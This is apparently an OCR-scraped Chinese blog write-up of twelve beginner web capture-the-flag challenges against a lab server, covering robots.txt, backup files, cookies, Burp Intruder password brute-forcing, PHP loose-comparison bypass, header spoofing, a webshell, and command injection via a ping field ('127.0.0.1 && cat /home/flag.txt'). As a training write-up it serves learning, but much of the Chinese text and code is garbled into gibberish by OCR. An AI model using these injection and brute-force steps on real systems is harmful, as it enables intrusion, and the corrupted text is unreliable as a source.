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5 3lflag

<!DOCTYPE h

<html lang="en">
<head>

<meta charset="UTF-8">

<title>Where is the FLAG</title>
</head>
<body>
<script>
document .oncontextmenu=new Function("return false™)
document.onsselectstart=new Function("return false")
</script>

<h1>FLAG is not here</hl>

<!-— cyberpeace{6fdicbe3at2ac692fc850d57f337742b} ——>

</body>
</html>


https://blog.csdn.net/yu_jing_hong
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2.robots
f+ 4 & robots.txt?

robots.txt BIEk i, 2FRA“MEIERHR R (Robots Exclusion Protocol) , tHFRANEHBML. HL2& At
WE, BRMRSIEHEAMGE S —NCBRK M, BERETMEHRAERT. HIERAREGMEBRIERHR
AN Fo VFHTCE R 25 T ] .

robots XA A FFE B E 2 2 MR RE R RS EIBUTE AR .

Vi Frobots. iSO, XANSOR R R 5 Zrh U7 ) s R B E B RS A0, XSS IR R S %
FEAS FEVFT XA o

e - O O & 111.200.241.244:53409/robots.txt

O =9ErGiR @ 5F @ EE D esks ©5E—T, (euHmE @ =E—T, /e @ 5E—

User-agent: *
Disallow:
Disallow: flag 1s h3re.php

CSDN @yu_jing_hong
robots.txtf] 5§ 2 Hi )

OUser-agent: $EEXN LRI ER, HARE, HAS, RRAHEITAKERSI I

@Disallow: 155 Z B # #1M ik (— M robots. txth £ EF — ANl WSEAERAE FEFRRAORE, AMATLLRF
MR AR (search.html 57 #oX AN I AT LU S KB AR E N AR i8H 404 )

allow: REFINEHKIES CallowIfh 52k Fdisallow)
@ sitemap CF 2 1L R 51 253 MLk 2 75 B R 51 I

EANET: MBECRT AW, EAEAREX AWK E G HEE, BABEXAMEE 6 Kbk
robots.txt>C 4, HURRK T B EHht, A ATV R robots. Xt ANE B A b RIS, T DAAEIE Mk
54, —A5 &kt Nadmin.php, TR Sad, F#kkad, XHEEHE LLIEadmin.phpFE R T .

Vi 8 iX A phpsetd:, 15 Flflag

= > C O ® 111.200.241.244:534Q9/f1ag_1s_h3re.php

O =9=rGiR @ 5F Q@ EE D Esks © 5E—T, fPo0E @ 5E—T, Goas

cyberpeace {d7d28317ed4673bfa3574503d3f51d8a}
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3.backup



Q. 111.200.241.244:5607{/index.php.bak

JDXlERths @ BE—T, f&HAOE @ 8E—§, fF0NE @ 55—, FHnE @ 55—, FH0NE @ 55—, FfHOE 4

{RENEIndex.phpBIRH L
Hz05?
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ML EAITHEEFE, [FEifag

| index.php-1.bak - iB=A
SOHF) HREE) ER0) BEV) BEIH)
<html> ~
<head>
<meta charset="UTF-8">
<title > A4 < /title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet"
<style>
body({
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>{FAl&index.phpAHEHHFEBE? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI8BDE334}"

2 S

</body>

</html> v
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w47, w15 100% | Windows (CKLFP | @lgling Nong

4.cookie

Fiburpsuit$l 38 Bl cookie

Request R

Pretty JREIUE Hex \n .

1 GET /favicon.ico HTTP/1l.1

Z Host: 111.700.241.744:84227

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x&4)
AppleWebKit/537.36 (FHTML, like Gecko) Chrome/SZ.0.4515.15%9
Safari/537.3€

4 Aecept:

image/avif, image/webp, inage/apng, image/svgtxml, image/* , */*;q=0

.8 B

Referer: http://111.200.241.244:64227/ 2

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 10

Cookie: ].uol:-hez:=cookie_php|

Connection: close
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% FlcookiefEcookie.phpiX AN ¢ H, i il iX AN S5



@ Cookie X +

& C A &= | 111.200.241.244:6422]/cookie.php

See the http response

CSDIN @y

MBATEF WS, ZRMAERE

Response

RawHexRender =

1 HTTP/l.l 200 OK

: Date: Tue, Z1 Sep Z0Z1 04:15:17 GMT

Server: Apache/Z.4.7 (Ubuntu)

¥-Powered-By: PHP/5.5.5-lubuntud.’é

flag: cyberpeace{3b45£f4b%afThbl3caa77I8llcaZa4503} |
Vary: Accept-Encoding

Content-Length: 411

¢ Connection: close

5 Content-Type: text/html

S T

10
11 <html>
12 <head>
13 <meta charsec="UTF-8">
14 <title>
Cookie
</ritle>
5 <link href="http://libs.baidu.com/bootstrap/3.0.3/ess/boo

16 <style>
17 body {
18 margin-left:auto;
] margin-right:auto;
20 margin-TOP: Z00PX;
21 width: Z0em;
22 }
23 </style>
(—.;){3} (&[] | Search... R I'T)HIJI!S{CA&JSJ‘;

5.
disabledifs, TERIEMARMA ML, BHediEd

P DEEE DeRs DESE NRE ((esEe Qe e B e v TEEmE 8 umEes

 BEHTML 4
<html>
¥ <head> (= </head>

w <body>
<h3>— T EHEA IR </ h2>

w <form action="" method="post">
<input class="btn btn-default” style="height:sepx;width:2@epx;" type="submit” value="flag" name="auth"
</form>
</body>
</html>

tml > body » form > inputbtn.bin-default

| = CSDN @yu_jing_hong
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DN ABEIRRYIZEH

flag

cyberpeace{00ba65d58778b93ff0bb8ead31fab39) -

6. &EFMIEIEMAREG, B —A-check.phpifiil'e

L & HTML
<IDOCTYPE html>»

<html lang="en"> [}
P <head: (= </head>

w <body>

<h1xLogin</h1»
b <form class="form-inline" method="post" action=".[check.php"q- </form>
</body> CSDN @yu_jing_hong
</html>» - -

4 #E=HTML
<1DOCTYPE html>

<html lang="en">»
b <head: (= </head>

<!--maybe you need a dictionary-->

P
==t

<fhtmls
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FEF M, 7] LLAburpsuiti# ik

POST  /checkphp v S o — nhn
GET /favicon.ico http://111.200.241.244:62105/check.php
GET /favicon.ico Add 10 scope

Scan

Send to Intruder Ctrl-1

Send to Repeater Ctrl-R

@yl line nong
Sond 1o SequenEEi"Jl | @yu_jing_nong
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Target Positions Payloads Resource Pool Options

D Payload Positions

Configure the positions where payloads will be inserted into the base
Attack type: | Sniper

POST /check.php HTTP/L1.1

Host: 111.200.241.244:62105

Content-Length: 25

Cache-Control: max-age=0
Upgrade-Insecure-Reguests: 1

Origin: http://111.200.241.244:82105
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/s/5.0 (Windows NT 10.0; Wing&4;
Accept: text/html application/xhtml+xml, applicati
L0 Referer: http://111.200.241.244:E82105/
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

v G B

o

W oo -

o W

username=hdminipassword=§1§

CSDM @yu_jing_hong

HEIKEA—FEH

37 159159159 200 434
38 98765432 200 434
39 00123456 200 | 437
40 119119119 200 434
41 00112233 200 434
42 123456456 200 434
43 123123qq 200 434

Request Response

ety [ Hex W =

€ Origin: http://111.200.241.244:62105

7 Content-Type: application/x-www-form-urlencoded

& User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x£4) AppleWebKit/537.3& (KHTML, like Gecko) Chro
Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,inage/apng,*/*;q=0.8,
d-exchange ;v=b3;q=0.2

w

10 Peferer: http://111.200.241.244:£2105/

L Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

13 Connection: close
4

15 username=adminépassword=0012345¢6

@{(‘J} |(:||__ﬂ | sasrch. ESEHHE Llij;flr;_iH'JHg)

B > C O & o+ 111.200.241.244:62105/check.php

©=I=rPciie @ FE @EaE DMI=EREs @ SE—T, (fFaE @ 8aE—7F, F3

cyberpeace {2d5d489cce9a3a8¢290e08d9d1043113}
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7.simple_php



{?php

show_source(_FILE ):

include (“config. php”) ;

$a=@$_GET[' a’ 1;

$b=@$ GET['b’];

if(8a==0 and $a)/
echo $flagl;

1
I

if(is_numeric($bh)) {

exit():
1
!

if($b>1234) {
echo $flag?:
1
1
2>

A HTARES
$a=@$_GET["a"];, #HI“@"1EM: 7 AR ibaf{E N ZE I 7= 4 — AN & 1R

if($a==0 and $a){
echo $flag1;

}
Z#a=0HaNH 71 515 2flag

if(is_numeric($b)){

exit();

}

is_numeric() R H TR E R B ANBFRBFFARE.
MR A FEHMESBH, BIbARENEF.

if($b>1234)
echo $flag2;

}
bE KT 12344 #4 £lflag2.

MA@ K& Bphpdg s Y
f+2 Rphpds R R L ?

o FABKHLER: MABWAES == i, HERE, RHEEE,

o TR FA=AES ===k, BRTHRME, BRI,

o FRFERMBPF LLBAE == R B SABRABFRUB R

e var_dump('a' == 0)//true, BLifaFfF e RBEMBET, FNaF i khRARIET, BrilE# R0
e var_dump('123a' == 123);//true, iXH'123a'S#iE#~123

e var_dump('a123' == 123);//false, B AphpFERXE—NHE: FRRRFEWIRE T ERE, WRZFEFEUAGER
e, WERZRFEMCESLNERE —MUFER, T 0H BN B AE RO,

o %4: var_dump('123a1' == 123);//true
o 24f5]: var_dump(1233a' == 123);//false

b=1235alt} Bt A v # 7 R thoK 1234
g b, Atka=a&b=1235ak0 7]



W
&« © O 8 111.200.241.244:56256?a=a&b=1235a

@ =E=rciin @FE @aE D dissws @ EE-F, GOE @ aE—F, feunE @ &E—F, 4

<{?php
show_source (__FILE_ ) ;
include ("config. php”) ;
$a=0$_GET[ a'];
$h=@$_GET['b'];
if(3a==0 and S$a){
echo $flagl;
1
if (is_numeric ($h)) {
exit();
1
}
if($b>1234) {
echo $§flag?;
}
2

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

8.get_post
& C O & 111.200.241.244:64946

O =F=rGiE @ =F @B D lesks @ SE—T, Miae @ SE—T, s @ &SE—TF, 5

IBAGETHTURRZ— 1" & Na[BATHEE

CSOM @i iine e
UM @YLL_JINg nong

-

FEurlh/? B8 B BRI E R R getT X

= ¢] O 8 111.200241.244:649467a=1 |

OEw=rciE QFF Q@BE DMIErmss QBE—T, HUtE @ S=—TF, MF0E @ aE—F, famE @ 55—

IBRGETAIURR— 1M & 9a,[BEN1NEE
15 LAPOSTS T\ BBEIRA— "% /9b, E?’JZEI’J

CSDN @yu_jing_hong

posti R 1% & Ehackbar

IBAGETATURR— & Na BN 1HIERE
IEBLAPOST ST ME(ERA— 1 9b [B92/0% 8
cyberpeace{404ddb38adfbh234498885eae797f3f0e}

O Oz8E Datla OBEE NRE (IuteEs O Onr B « TESHE 8 EEF @ Hackear
Encryption v Encoding v SQL v XSS~ Other »

@ Load URL http://111.200.241.244:64946/7a=1

gg Split URL

») Execute
Post data [] Referer [] User Agent [] Cookies Clear All

b=2

CSDN @yu_jing_hong
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X-Forwarded-For: i #xXFF3k, BRERZ U, HHEHTTPHRERKELZHIP, RAERE THTTP RMEEE

BB I R 55 A I A NI T

HTTP Referer&headerf]—&B4, 24 %25 Mwebfk 5523 RiZE R IR %, —M & EReferer, HiFREHBR

72 IR T T B I SR

ipsbA123.123.123.123
CSDN @yu_jing_hong

T FFburpsuit?E i R sk @ fix-forwarded-for:123.123.123.123 B i &

10.webshell
0 FmfiE -ox OFm | AZma | ok
o C omwsx e
B SREE v
URLIttyt = http://111.200.241.244:56611 I
HRED * | | shell |
s E
WEBIEE UTF8 v
pe 35 PHP v
et
(=) default (%)
) base64
O chr .
Q@ wkise -
o HRE -

R °

v i

CSDN @yujing hong

= [0 111.200.241.244

| B3R5 (0) < | DR (2)
=iy oHE v +LtE CZHEE # THE NFE -
= ﬁ:r 2%
. o B flag.bxt
I html
@ index.php

M 4&iE: [var/www/html/flag.txt

Svarfwww/html/flag.txt
1 cyberpeace{d69182d32d7a27736c2b3bf45748d961}

CS5DN @yu_jing_hong

11.command execution

[varfwww/html/

H &
2021-09-22 04:57:39
2018-09-27 04:02:04

> ¥R

i Bt
44 b 0664
539b 0664

CSDN @yu_jing_hong



%ping— T 127.0.0.1

PING

‘ 127.0.0.1| ‘

PING

ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.840 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.0852 ms

--- 127.6.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.048/0.045/0.052/8.089 ms

u_jing_nhong

PING

‘ 127.0.0.1&&ls| ‘

PING

ping -c 3 127.0.0.18&1s

PING 127.6.0.1 (127.8.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.858 ms
64 bytes from 127.8.0.1: icmp_seq=2 ttl=64 time=0.858 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=0.875 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt min/avg/max/mdev = ©.058/0.063/0.075/0.012 ms

index.php _
CSDN @yu_jing_hong

R UL, Far&EIRITA MR R4 teti) XA+
PING

127.0.0.1 && find / -name "*.txt"

PING

ping -c 3 127.0.0.1 && find / -name "*.txt"

PING 127.6.0.1 (127.8.0.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seq=1 ttl=64 time=0.858 ms
64 bytes from 127.0.@.1: icmp_seq=2 ttl=64 time=8.849 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.852 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.049/0.853/0.858/8.003 ms
fusr/lib/python3.4/idlelib/HISTORY.txt

CSDN @yu_jing_hong
fmuer/Tih/nrthon d/idlelih/extend vt

RIAE—Mlag.txt KEBCCH4E R



PING

127.0.0.1 && cat /homefflag. x|

PING

ping -c 3 127.0.8.1 &% cat /home/flag.txt

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seq=1 ttl=64 time=8.881 ms
64 bytes from 127.0.8.1: icmp_seq=2 ttl=64 time=0.843 ms
64 bytes from 127.0.8.1: icmp_seq=3 ttl=64 time=8.855 ms

--- 127.8.0.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt min/favg/max/mdev = ©.043/8.859/0.081/6.018 ms
cyberpeace{813bBbedc531452108fb8ddbd623f53c5}
CSDM @yu_jing hong

12.simple js

BEIRN

<html>
<head>
<title>Js</title>
<script type="text/javascript">
function dechiffre (pass_enc) {
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,865";
wvar tab = pass_enc.split{','];
var tabZ = pass.splic(','")i;var 1,7,k 1=0,m,n,o,p = "";1i = 0;3
k=3 + (1) + (n=0);
n = tabl.length;
for{(i = (o=0); 1 < (k = 3
if(i == S)break;}
for(i = (o=0); 1 < (k = 3J = n); i++ )1
o = tab[i1-1];
if(i > 5 && i < k-1)
p += String.fromCharCode({o = tab2[i]));

tab.length;

n); i++ J{o = tab[i-1];p += String.fror

3
p += String.fromCharCode (tabZ[17]);
pass = pr;return pass:;
b
String["fromCharCode"] (dechiffre ("\x35\x35\x2c \x35 236 \x2c \x35 234\ 22\ 237\ 239 \x2c\ 231"
h = window.prompt('Enter password'):;
alert( dechiffre(h) ); CSDN @yu_jing_nong

pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65" T X M55, BP

FAUX PASSWORD HAHA #RREE R TR

dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\
x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")

oSk ) B B R 1053k 1 A 55, 56,54,79,115,69,114,116,107,49, 50
BB TR R TR 71860sErtkl?2

flagy cyberpeace{7860sErtkl2}
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